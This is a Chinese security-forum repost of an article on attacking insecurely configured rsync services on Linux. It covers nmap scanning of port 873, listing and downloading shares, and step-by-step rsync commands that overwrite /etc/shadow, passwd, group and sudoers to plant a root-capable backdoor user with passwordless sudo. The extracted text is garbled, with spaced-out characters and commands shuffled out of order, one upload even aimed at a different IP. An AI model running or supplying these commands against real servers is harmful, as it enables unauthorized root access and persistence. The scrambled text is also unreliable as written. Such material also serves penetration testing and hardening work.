搜索

[20304] 2020-04-04_浅谈利用rsync服务的攻击

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-04-04_浅谈利用rsync服务的攻击 浅 谈 利 用 r s y n c 服 务 的 攻 击 原 创   H a o   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 4 - 0 4                                 本 文 将 根 据 针 对 L i n u x 操 作 系 统 上 不 安 全 的 R s y n c 配 置 ， 浅 谈 如 何 利 用 r s y n c 服 务 进 行 攻 击 。 1 、 什 么 是 、 什 么 是 R S Y N C ？ ？ R s y n c 是 用 于 在 两 个 服 务 器 （ 通 常 是 L i n u x ） 之 间 传 输 和 同 步 文 件 的 实 用 程 序 。 它 通 过 检 查 文 件 大 小 和 时 间 戳 来 确 定 同 步 。 根 据 经 验 发 现 ， 在 进 行 渗 透 测 试 期 间 ， 发 现 约 有 三 分 之 一 的 服 务 器 并 没 有 安 全 配 置 R s y n c 。 然 而 ， 弱 配 置 通 常 会 导 致 服 务 器 上 的 敏 感 数 据 未 经 授 权 访 问 ， 甚 至 还 会 让 攻 击 者 活 动 w e b s h e l l 。                 远 程 访 问 通 过 R s y n c 共 享 的 目 录 需 要 两 件 事 ， 文 件 共 享 访 问 和 文 件 权 限 。 R s y n c 的 配 置 方 式 如 下 ：                 1 .   可 以 在 / e t c / R s y n c d . c o n f 中 定 义 “   文 件 共 享 访 问 ” ，   以 提 供 匿 名 或 经 过 身 份 验 证 的 访 问 。   2 . 还 可 以 通 过 定 义 r s y n c 服 务 将 以 其 身 份 运 行 的 用 户 ， 在 / e t c / r s y n c d . c o n f 中 定 义 文 件 访 问 权 限 。 如 果 将 r s y n c 配 置 为 以 r o o t 用 户 身 份 运 行 ， 则 允 许 连 接 的 任 何 人 都 可 以 使 用 r o o t 用 户 的 特 权 来 访 问 共 享 文 件 。 r s y n c d . c o n f 文 件 的 示 例 ， 该 文 件 允 许 匿 名 r o o t 用 户 访 问 整 个 文 件 系 统 ：       2 、 对 目 标 站 点 进 行 、 对 目 标 站 点 进 行 n m a p 扫 描 扫 描 r s y n c 服 务 服 务                 r s y n c 服 务 默 认 在 8 7 3 端 口 监 听 。 通 过 n m a p 发 现 开 启 r s y n c 服 务 n m a p   1 0 . 1 0 . 1 0 . 1 3 4   m o t d   f i l e   =   / e t c / R s y n c d . m o t d l o c k   f i l e   =   / v a r / r u n / R s y n c . l o c k l o g   f i l e   =   / v a r / l o g / R s y n c d . l o g p i d   f i l e   =   / v a r / r u n / R s y n c d . p i d [ f i l e s ] p a t h   =   / c o m m e n t   =   R e m o t e   f i l e   s h a r e . u i d   =   0 g i d   =   0 r e a d   o n l y   =   n o l i s t   =   y e s
列 举 目 录 和 文 件 列 举 目 录 和 文 件                         如 果 r s y n c 配 置 为 以 r o o t 身 份 运 行 并 且 可 以 匿 名 访 问 ， 则 可 以 通 过 直 接 修 改 s h a d o w ， p a s s w d ， g r o u p 和 s u d o e r s 文 件 来 创 建 新 的 特 权 L i n u x 用 户 。 注 意 ： 相 同 的 通 用 方 法 可 用 于 提 供 对 操 作 系 统 的 完 全 写 入 访 问 权 限 的 任 何 漏 洞 。 其 他 一 些 示 例 包 括 N F S 导 出 和 上 载 以 r o o t 用 户 身 份 运 行 的 W e b   S h e l l 。   通 过 r s y n c 创 建 新 用 户         创 建 主 目 录 让 我 们 从 创 建 新 用 户 的 主 目 录 开 始 。 s h a d o w 文 件 文 件 列 举 目 录         r s y n c   1 0 . 1 0 . 1 0 . 1 3 4         列 举 子 目 录 内 容         r s y n c   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s         递 归 列 出 目 录 和 文 件         r s y n c   - r   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / t m p /         下 载 文 件 夹         r s y n c   - r   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / h o m e / t e s t /         通 过 R S Y N C 上 传 文 件         使 用 R s y n c 上 传 文 件 的 命 令 。 。         上 传 文 件         r s y n c   . / m y f i l e . t x t   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / h o m e / t e s t         上 载 文 件 夹         r s y n c   - r   . / m y f o l d e r   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / h o m e / t e s t         通 过 R s y n c 创 建 新 用 户 #   C r e a t e   l o c a l   w o r k   d i r e c t o r i e s m k d i r   d e m o m k d i r   b a c k u p c d   d e m o   #   C r e a t e   n e w   u s e r ’ s   h o m e   d i r e c t o r y m k d i r   . / m y u s e r r s y n c   - r   . / m y u s e r   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / h o m e
/ e t c   / s h a d o w 文 件 是 L i n u x 密 码 文 件 ， 其 中 包 含 用 户 信 息 ， 例 如 主 目 录 和 加 密 密 码 。 它 只 能 由 r o o t 访 问 。 要 通 过 r s y n c 注 入 新 的 用 户 ， 必 须 ：         1 .   生 成 密 码 。         2 .   下 载 /   e t c   /   s h a d o w 。 （ 备 份 ）         3 .   将 新 用 户 追 加 到 /   e t c   / s h a d o w 的 末 尾         4 .   上 传 / 覆 盖 现 有 的 /   e t c   / s h a d o w         注 意 ： 确 保 创 建 系 统 上 新 用 户 。   创 建 加 密 密 码 ： p a s s w d 文 件 文 件 /   e t c   /   p a s s w d 文 件 用 于 跟 踪 有 权 访 问 系 统 的 注 册 用 户 。 它 不 包 含 加 密 的 密 码 。 所 有 用 户 都 可 以 阅 读 。 要 通 过 r s y n c 注 入 新 的 用 户 条 目 ， 您 必 须 ：         1 .   创 建 要 注 入 的 用 户 条 目 。         2 .   下 载 /   e t c   /   p a s s w d 。 （ 并 备 份 它 ， 以 便 以 后 可 以 恢 复 状 态 ）         3 .   将 新 用 户 条 目 追 加 到 p a s s w d 的 末 尾 。         4 .   上 传 / 覆 盖 现 有 的 /   e t c   /   p a s s w d 注 意 ： 可 以 随 意 更 改 为 u i d ， 但 请 确 保 它 与 /   e t c   /   g r o u p 文 件 中 设 置 的 值 匹 配 。 在 这 种 情 况 下 ， U I D   /   G U I D 为 1 0 2 1 。 将 新 用 户 添 加 到 用 户 组 当 中 将 新 用 户 添 加 到 用 户 组 当 中 /   e t c   /   g r o u p 文 件 用 于 跟 踪 系 统 上 已 注 册 的 组 信 息 。 它 不 包 含 加 密 的 密 码 。 所 有 用 户 都 可 以 阅 读 。 要 通 过 r s y n c 注 入 新 的 用 户 条 目 ， 您 必 须 ： 1 .   创 建 要 注 入 的 用 户 条 目 。 2 .   下 载 /   e t c   /   g r o u p 。 （ 和 备 份 ， 以 防 万 一 ） 3 .   将 新 用 户 条 目 追 加 到 组 末 尾 。 4 .   上 传 / 覆 盖 现 有 的 /   e t c   /   g r o u p 文 件 。 注 意 ： 可 以 随 意 更 改 为 u i d ， 但 请 确 保 它 与 /   e t c   /   p a s s w d 文 件 中 设 置 的 值 匹 配 。 在 这 种 情 况 下 ， U I D   /   G U I D 为 1 0 2 1 。 将 新 用 户 条 目 添 加 到 /   e t c   /   g r o u p ： o p e n s s l   p a s s w d   - c r y p t   p a s s w o r d 1 2 3 将 新 用 户 条 目 添 加 到 /   e t c   /   s h a d o w ： r s y n c   - R   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c / s h a d o w   . c p   . / e t c / s h a d o w   . . / b a c k u p e c h o   " m y u s e r : M j H K z 4 C 0 Z 0 V C I : 1 7 8 6 1 : 0 : 9 9 9 9 9 : 7 : : : "   > >   . / e t c / s h a d o w r s y n c   . / e t c / s h a d o w   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c / 将 新 用 户 条 目 添 加 到 /   e t c   /   p a s s w d ： r s y n c   - R   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c / p a s s w d   . c p   . / e t c / p a s s w d   . . / b a c k u p e c h o   " m y u s e r : x : 1 0 2 1 : 1 0 2 1 : : / h o m e / m y u s e r : / b i n / b a s h "   > >   . / e t c / p a s s w d r s y n c   . / e t c / p a s s w d   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c /
  创 建 创 建 s u d o e r s 文 件 目 录 /   e t c   /   s u d o e r s 文 件 包 含 允 许 使 用 s u d o 命 令 以 r o o t 用 户 身 份 运 行 命 令 的 用 户 列 表 。 它 只 能 由 r o o t 读 取 。 我 们 将 对 其 进 行 修 改 ， 以 允 许 新 用 户 通 过 s u d o 执 行 任 何 命 令 。 要 通 过 r s y n c 注 入 条 目 , 前 提 条 件 ：         1 .   创 建 要 注 入 的 用 户 条 目 。         2 .   下 载 /   e t c   /   s u d o e r s 。 （ 和 备 份 ， 以 防 万 一 ）         3 .   将 新 用 户 条 目 追 加 到 s u d o e r s 的 末 尾 。         4 .   上 传 / 覆 盖 现 有 的 /   e t c   /   s u d o e r s 文 件 。         将 新 用 户 条 目 添 加 到 /   e t c   /   s u d o e r s ： 然 后 ， 只 需 使 用 新 创 建 的 用 户 通 过 S S H 连 接 ， 执 行 s u d o   r o o t 就 完 成 了 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                                       -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室 r s y n c   - R   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c / g r o u p   . c p   . / e t c / g r o u p   . . / b a c k u p e c h o   " m y u s e r : x : 1 0 2 1 : "   > >   . / e t c / g r o u p r s y n c   . / e t c / g r o u p   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c / r s y n c   - R   1 0 . 1 0 . 1 0 . 1 3 4 : : f i l e s / e t c / s u d o e r s   . c p   . / e t c / s u d o e r s   . . / b a c k u p e c h o   " m y u s e r   A L L = ( A L L )   N O P A S S W D : A L L "   > >   . / e t c / s u d o e r s       r s y n c   . / e t c / s u d o e r s   1 9 2 . 1 6 8 . 1 . 1 7 1 : : f i l e s / e t c /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理